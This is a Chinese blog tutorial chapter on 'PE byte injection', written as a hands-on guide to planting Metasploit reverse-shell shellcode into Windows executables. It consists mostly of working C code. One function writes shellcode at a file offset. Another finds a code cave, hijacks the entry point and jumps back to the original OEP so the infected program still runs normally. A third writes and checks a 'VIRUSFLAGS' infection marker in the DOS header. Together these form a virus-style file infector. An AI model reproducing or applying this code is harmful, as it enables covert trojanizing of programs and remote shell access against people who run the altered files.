2.12 PE结构：实现PE字节注入

本章笔者将介绍一种通过Metasploit生成ShellCode并将其注入到特定PE文件内的Shell注入技术。该技术能够劫持原始PE文件的入口地址，在PE程序运行之前执行ShellCode反弹，执行后挂入后台并继续运行原始程序，实现了一种隐蔽的Shell访问。而我把这种技术叫做字节注入反弹。
字节注入功能调用WritePEShellCode函数，该函数的主要作用是接受用户传入的一个文件位置，并可以将一段通过Metasploit工具生成的有效载荷注入到特定文件偏移位置处。
读者在使用该函数之前需要通过WinHex找到注入位置，我们以如下截图中的30352为例；

接着读者需要自行准备一段ShellCode代码，只保留代码部分去掉头部变量参数，如下所示；

接着我们使用如下这段代码中的WritePEShellCode函数，通过传入指定PE文件路径，指定文件便宜，以及指定的ShellCode文件路径，即可自动将其压缩为一行并在压缩后将代码写出到指定的可执行文件内。

1. // 将ShellCode写出到PE程序的特定位置
2. // 参数1: 指定PE路径 参数2: 指定文件中的偏移(十进制) 参数3: 指定ShellCode文件
3. void WritePEShellCode(const char* FilePath, long FileOffset, const char* ShellCode)
4. {
5.   HANDLE hFile = NULL;
6.   FILE* fpointer = NULL;
7.   DWORD dwNum = 0;
9.   int count = 0;
10.   char shellcode[8192] = { 0 };
11.   unsigned char save[8192] = { 0 };
13.   // 打开一段ShellCode代码并处理为一行
14.   if ((fpointer = fopen(ShellCode, "r")) != NULL)
15.   {
16.     char ch = 0;
17.     for (int x = 0; (ch = fgetc(fpointer)) != EOF;)
18.     {
19.       if (ch != L'\n' && ch != L'"' && ch != L'\\' && ch != L'x' && ch != L';')
20.       {
21.         shellcode[x++] = ch;
22.         count++;
23.       }
24.     }
25.   }
26.   _fcloseall();
28.   // 将单字节合并为双字节
29.   for (int x = 0; x < count / 2; x++)
30.   {
31.     unsigned int char_in_hex;
32.     if (shellcode[x] != 0)
33.     {
34.       sscanf(shellcode + 2 * x, "%02X", &char_in_hex);
36.       // 每十六字节换一行输出
37.       if ((x+1) % 16 == 0)
38.       {
39.         printf("0x%02X \n", char_in_hex);
40.       }
41.       else
42.       {
43.         printf("0x%02X ", char_in_hex);
44.       }
45.       save[x] = char_in_hex;
46.     }
47.   }
49.   // 打开PE文件并写出ShellCode到指定位置
50.   hFile = CreateFile(FilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
51.   if (INVALID_HANDLE_VALUE != hFile)
52.   {
53.     SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN);
54.     bool ref = WriteFile(hFile, save, count/2 , &dwNum, NULL);
55.     if (true == ref)
56.     {
57.       printf("\n\n[*] 已注入 ShellCode 到PE文件 \n[+] 注入起始FOA => 0x%08X \n",FileOffset);
58.     }
59.     CloseHandle(hFile);
60.   }
61. }

复制代码

我们通过传入WritePEShellCode("d://lyshark.exe", 30352, "d://shellcode.txt");参数，运行后则可将特定文本中的机器码注入到30352的位置处，读者也可以通过使用WinHex跳转到对应位置观察，如下所示；

当然了上述方法注入到PE文件中我们需要手动分析寻找空余块，并在注入成功后还需要自行修正PE文件内的入口地址等，这种方式适合于对PE结构非常熟悉的人可以，但也要花费一些精力去寻找分析，如下代码则是实现了自动化注入功能，该代码中FindSpace()函数用于从代码节的末尾开始搜索，寻找特定长度的空余位置，当找到合适的缝隙后便返回缝隙首地址。
此时dwOep变量内存储的是该程序原始的OEP入口位置，接着将入口地址赋值到*(DWORD *)&shellcode[5]也就是放入到shellcode机器码的第六个位置处，此处将变更为跳转到原始入口的指令集，接着调用memcpy函数将shellcode代码拷贝到新分配的dwAddr内存中，此处的strlen(shellcode) + 3代表的是ShellCode中剩余的\xff\xe0\x00部分，最后将当前EIP指针设置为我们自己的ShellCode所在位置，通过pNtHeader->OptionalHeader.AddressOfEntryPoint赋值设置此变量，至此这个注入器就算实现啦。

1. #include <stdio.h>
2. #include <stddef.h>
3. #include <windows.h>
5. // \xb8\x90\x90\x90\x90 => mov eax,90909090
6. // \xff\xe0\x00 => jmp eax
7. char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";
9. // 缝隙的搜索从代码节的末尾开始搜索,有利于快速搜索到缝隙
10. DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
11. {
12.   // 跳过可选头长度的数据
13.   PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
14.     (((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));
16.   // 获取到文件末尾的位置
17.   DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
18.   dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;
20.   LPVOID lp = malloc(sizeof(shellcode));
21.   memset(lp, 0, sizeof(shellcode));
23.   while (dwAddr > pSec->Misc.VirtualSize)
24.   {
25.     int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
26.     if (nRet == 0)
27.       return dwAddr;
28.     dwAddr--;
29.   }
30.   free(lp);
31.   return 0;
32. }
34. int main(int argc, char* argv[])
35. {
36.   HANDLE hFile, hMap = NULL;
37.   LPVOID lpBase = NULL;
39.   hFile = CreateFile(L"d://lyshark.exe", GENERIC_READ | GENERIC_WRITE,
40.     FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
41.   hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
42.   lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
44.   PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
45.   PIMAGE_NT_HEADERS pNtHeader = NULL;
46.   PIMAGE_SECTION_HEADER pSec = NULL;
47.   IMAGE_SECTION_HEADER imgSec = { 0 };
49.   if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
50.   {
51.     printf("[-] 文件非可执行文件 \n");
52.     return -1;
53.   }
54.   pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
56.   // 查找空余字节
57.   DWORD dwAddr = FindSpace(lpBase, pNtHeader);
58.   printf("[*] 找到 %d 字节 | 起始地址: %X \n", sizeof(shellcode), dwAddr);
60.   // 获取到原入口地址
61.   DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;
63.   // \xb8 => 填充的就是原始程序的OEP
64.   *(DWORD *)&shellcode[5] = dwOep;
65.   printf("[-] 原始入口地址: 0x%08X \n", dwOep);
67.   // 将shellcode 拷贝到dwAddr内存空间里,拷贝长度strlen(shellcode) + 3
68.   memcpy((char *)dwAddr, shellcode, strlen(shellcode) + 3);
69.   dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;
70.   printf("[-] 拷贝内存长度: 0x%08X \n", dwAddr);
72.   // 将新的入口地址,赋值给原始程序的地址上
73.   pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
74.   printf("[+] 修正新入口地址: 0x%08X \n", pNtHeader->OptionalHeader.ImageBase + dwAddr);
76.   UnmapViewOfFile(lpBase);
77.   CloseHandle(hMap);
78.   CloseHandle(hFile);
80.   system("pause");
81.   return 0;
82. }

复制代码

读者可自行编译并运行上述代码，当运行结束后会将ShellCode全局变量中的指令集，写入到lyshark.exe程序内，并修正当前程序的OEP入口处，此时读者可运行lyshark.exe程序，看是否能够正常执行起来，如下图所示；

此时读者可自行打开x64dbg调试器，观察此时的程序入口处已经变成了0x47BFF3执行到最后则通过jmp eax跳转到了原始的程序入口处继续执行，这也就是空字节注入的功能，当读者自己将nop指令替换为任意特殊的汇编指令时，也就实现了一款注入Shell版本的软件。

当我们对特定的程序插入Shell后，则还需要对该程序增加一个标志，在PE结构中有许多地方可以写入这个标志，例如DOS头部存在一个e_cblp变量，通过向该变量写入一个标志，当需要判断是否被感染时读取此处并检查是否存在特定值即可，如下代码则是一个检查实现方式。

1. #include <stdio.h>
2. #include <stddef.h>
3. #include <windows.h>
5. #define VIRUSFLAGS 0xCCCC
7. // 向指定文件写入感染标志
8. BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
9. {
10.   DWORD dwNum = 0;
11.   SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
12.   WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
13.   return TRUE;
14. }
16. // 检查文件是否被感染
17. BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
18. {
19.   DWORD dwSigNum = 0;
20.   DWORD dwNum = 0;
21.   SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
22.   ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);
24.   if (dwSigNum == dwSig)
25.     return TRUE;
26.   return FALSE;
27. }
29. int main(int argc, char* argv[])
30. {
31.   HANDLE hFile, hMap = NULL;
32.   LPVOID lpBase = NULL;
34.   hFile = CreateFileA("d://lyshark.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
35.   hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
36.   lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
38.   PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
39.   PIMAGE_NT_HEADERS pNtHeader = NULL;
40.   PIMAGE_SECTION_HEADER pSec = NULL;
41.   IMAGE_SECTION_HEADER imgSec = { 0 };
43.   if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
44.   {
45.     printf("[-] 文件非可执行文件 \n");
46.     return -1;
47.   }
49.   pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
51.   // 写入感染标志
52.   WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);
54.   // 返回真说明感染过
55.   if (CheckSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile))
56.   {
57.     printf("[+] 文件已被感染,无法重复感染. \n");
58.   }
60.   system("pause");
61.   return 0;
62. }

复制代码

由于e_cblp是第二个字段，所以在填充后我们打开WinHex就可以看到变化，如下图所示；

本文作者： 王瑞
本文链接： https://www.lyshark.com/post/240d333e.html
版权声明： 本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！